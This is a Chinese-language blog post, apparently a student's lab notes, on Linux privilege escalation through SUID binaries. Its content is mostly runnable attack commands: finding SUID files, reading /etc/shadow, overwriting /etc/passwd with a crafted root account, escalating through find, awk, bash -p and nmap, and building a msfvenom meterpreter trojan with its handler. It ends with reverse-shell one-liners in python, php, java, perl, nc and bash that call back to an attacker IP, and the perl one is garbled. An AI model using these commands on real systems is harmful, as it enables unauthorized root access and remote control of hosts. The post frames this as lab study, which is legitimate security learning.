热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Linux提权之suid篇

Linux提权之suid篇不知攻,焉知防一个在安服路上摸索的大三生,记录平时学习笔记suid前言:1.只有可以执行的二进制程序文件才

Linux提权之suid篇

不知攻,焉知防
一个在安服路上摸索的大三生,记录平时学习笔记


suid前言:

1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
2.命令执行者要对该程序文件拥有执行(x)权限.
3.命令执行者在执行该程序时获得该程序文件属主的身份.
4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效


实验环境:

kali攻击机
靶机账号 :muhammad 密码 : nasef


START:


靶机自带提权文件suid ---- 位于/home/muhammad/vuln/1 下


1)ls -al 查看文件是否可以执行

在这里插入图片描述

发现可以直接执行


2)执行得到一个交互式shell,通过使用id 及 whoami查看 是一个具有root权限的普通shell

在这里插入图片描述
Tip : uid为0代表超级管理员root 红帽企业RHEL <7.0 为0-499 > 8.0为0-1000 ;500-65535 或者1000-65535为普通用户


3)接下来可以通过反弹shell将该通道反弹给攻击机 — 本文最后介绍


其他suid提权

可供用来进行suid 提权的有find 、 nano 、 vim 、 awk 、 bash 、 less 、 nmap 、 more 、curl 、 cp 、man 、mv
通过三条命令可以查看当前可以具有suid权限的文件且拥有者为root
1)find / -perm -u=s -type f 2> /dev/null PS: /dev/null 是Linux中一个特殊的文件,理解为“黑洞”即可 (最好用,个人觉得)
2)find / -user root -perm -4000 -print 2> /dev/null
3)find / -user root -perm -4000 -exec ls -ldb {} ;
PS : -exec 选项要与 ‘;’ 相结合使用【-exec + command 、 ;为结束标志 、 \是转义 】; ’{}’ 代表前面所查找到的所有相关文件 //粗浅的自我认识 :-exec选项的作用就相当于一个管道:前面的输出作为后面的输入
在这里插入图片描述
Kip : 建议使用kali直连靶机,毕竟只是实验


(1)more 、vim 、 nano 、less 用法相似

以more为例子:
在这里插入图片描述
成功get到原本普通用户无法得到的信息,之后可以通过more /etc/shadow > 1.txt


(2)mv和cp用法一致: 覆盖/etc/shadow文件


1)通过scp命令从靶机上面下载 /etc/passwd

scp muhammad@192.168.169.140:/etc/shadow /root/Desktop


2)kali上通过OpenSSL进行密码编译 ,创建不存在账号。

openssl passwd -1 -salt magisec 123456
在这里插入图片描述
仿照muhammad账号创建:
在这里插入图片描述
其中各参数意思:
登录用户名 密码(x为安全考虑) 用户id(UID) 组ID(GID) 用户备注信息 用户家目录 用户的bash


3)想当然地继续通过scp将修改后的passwd文件替换结果发现没有权限在这里插入图片描述

能利用之前获得的root权限的sh界面进行开放http服务使用wget进行下载


4)wget http://192.169.141/passwd


5)cp命令覆盖/etc/passwd

cp passwd /etc/passwd


6)使用自己创建的账号登录,用id查看

在这里插入图片描述
发现提权成功


(3)find 提权


1)由于当前靶机没有find ,先赋予find suid权限

在这里插入图片描述


2)创建普通文件hquhqu,并输入命令 find hquhqu -exec whoami ; 发现用户变为root

在这里插入图片描述


(4)nmap 提权 :适用于版本2.02-5.21

PS :由于没有找到可以进行实验的nmap版本,纯理论讲一讲
介绍两个方法:


方法一:


1)通过nmap --interactive (或者 -i) 启动交互模式

2)!sh 执行之后得到一个提权后的shell

方法二:Metasploit exp exploit/unix/local/setuid_nmap

通过打开msf ,use 此模块后发现需要参数session 。接下来是获取session


1)木马制作

(1)通过msfvenom 制作linux木马

木马制作方法: msfvenom -l payloads | grep linux/x64/meterpreter ----- 查看可以反弹meterpreter的exp
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=本地IP lport=本机需要监听的端口 -a x64 --platform linux -f elf > 需要输出的文件名
在这里插入图片描述
制作成功!
通过scp test /home/muhammad 传到对应靶机目录 或者将该木马挂载到网站根目录,靶机再通过wget进行下载
-----------现实中是通过社工或者各种漏洞进行上传木马


(2)启动msf

service postgresql start —打开对应数据库
msfconsole —启动msf
在这里插入图片描述


(3)开始监听,得到session

Use exploit/multi/handler —使用监听模块
Set payload linux/x64/meterpreter/reverse_tcp —设置有效载荷,与木马制作时一致
Set lhost 、 lport — 设置IP和端口 : 也与木马制作时一致
Run / exploit
然后再通过靶机执行生成的木马,需要先赋予执行权限再 ./ 执行
在这里插入图片描述
在这里插入图片描述
得到session,然后background挂起之后再使用上面的模块进行攻击


(5)awk提权 :命令awk ‘BEGIN{system(“whoami”)}’

在这里插入图片描述
一通花里胡哨的操作,别问我为什么这么做,小白的世界你不懂
在这里插入图片描述再次确认是否存在该文件

在这里插入图片描述
提权成功 !


(6)Bash提权: bash -p

在这里插入图片描述


(7)Curl提权 : curl file:///etc/shadow

在这里插入图片描述


(8)man提权

在这里插入图片描述
修改完man后发现无论输入什么都会回到root用户,没明白为什么,想了一会,发现是从bash提权之后才发生的,修改bash回原来样子即可

在这里插入图片描述
虽然有个warning,但还是提权成功


存疑的一个提权:


su 【之前看到某些大佬将这一个列进去了,但自己未实现】

在这里插入图片描述
在这里插入图片描述
无法执行


反弹shell:


使用场景:

受控主机在网络内部,无法通过某些服务进行连接,该主机经常更换IP地址,导致没有办法对主机进行控制。可以使用反弹shell的操作,将主机的shell界面行反弹给攻击者,使攻击者拥有操控内网主机的权力。


python脚本反弹

python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘攻击者ip’,监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([’/bin/bash’,’-i’]);”


php脚本反弹

php -r ‘exec("/bin/bash -i >& /dev/tcp/攻击者ip/监听端口")’
php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’


java脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
p.waitFor()


perl脚本反弹

perl -e ‘use Socket;i="ip";i="ip";i="ip";p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(p,inetaton(p,inet_aton(p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’


nc反弹

nc -t -e /bin/bash ip port


bash命令反弹

/bin/bash >& /dev/tcp/127.0.0.1/6789 0>&1


推荐阅读
  • 安全加密C语言库OpenSSL,在Android中服务器和客户端之间的签名验证和数据加密通信等。OpenSSL系列文章:一、AndroidCMake轻松 ... [详细]
  • Lunix历史及如何学习
    1.Lunix是什么1.1Lunix是操作系统还是应用程序Lunix是一套操作系统,它提供了一个完整的操作系统当中最底层的硬件控制与资源管理的完整架构, ... [详细]
  • Ubuntu16.0464位安装armlinuxgcc交叉编译器以及samba服务器
    交叉编译器是嵌入式开发的必要工具,但是由于目前大多数人使用64位ubuntu,在照着很多教程做的时候,就会失败,失败原因是64位ubuntu需要额外安装32位的兼容包。以arm-l ... [详细]
  • 13Linux基本命令和配置服务器来电后自动开机
    本节所讲内容:Linux终端介绍Shell提示符BashShell基本语法基本命令的使用:ls、pwd、cd查看系统和BIOS硬件时间Linux如何获得 ... [详细]
  • 零入门kubernetes网络实战15>基于golang编程实现给ns网络命名空间添加额外的网卡
    《零入门kubernetes网络实战》视频专栏地址https:www.ixigua.com7193641905282875942本篇文章视频地址(稍后上传)本篇文章主要是想通过g ... [详细]
  • 服务器系统控制台怎么打开文件,云服务器控制台怎么打开文件
    云服务器控制台怎么打开文件内容精选换一换远程桌面协议(RemoteDesktopProtocol,RDP),是微软提供的多通道的远程登录协议。本节为您介 ... [详细]
  • 简单理解rsa的加密和签名PHP实现
    我们先动手在linux上生成一下rsaPs:openssl是一堆加密算法和安全协议的开源集合,像RSA,DES,MD5,RC4等等,都能在openssl里面找到源代码 ... [详细]
  • 前言可能你并不太了解msys2,但是作为一个程序员,你一定知道mingw,而msys2就集成了mingw,同时msys2还有一些其他的特性,例如包管理器等。msys2可以在wind ... [详细]
  • 闲话少说,直接切入主题,之前也是用一下其他的IDE,但是总是在vi和IDE之间来回切换,比较麻烦,于是乎,找了几个插件亲身体验,功能挺不错;1、安装vi7.0vim的官方网站是:www.vmuni ... [详细]
  • Jenkins自动部署SpringBoot项目实践教程
    Jenkins自动部署SpringBoot项目实践教程-目录1、Jenkins安装2、Jenkins插件安装3、点击添加凭据4、Jenkins环境配置4.1、全局配置4.2、系统配 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • mac php错误日志配置方法及错误级别修改
    本文介绍了在mac环境下配置php错误日志的方法,包括修改php.ini文件和httpd.conf文件的操作步骤。同时还介绍了如何修改错误级别,以及相应的错误级别参考链接。 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • 本文介绍了在MacOS系统上安装MySQL的步骤,并详细说明了如何设置MySQL服务的开机启动和如何修改MySQL的密码。通过下载MySQL的macos版本并按照提示一步一步安装,在系统偏好设置中可以找到MySQL的图标进行设置。同时,还介绍了通过终端命令来修改MySQL的密码的具体操作步骤。 ... [详细]
author-avatar
手机用户2702932960
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有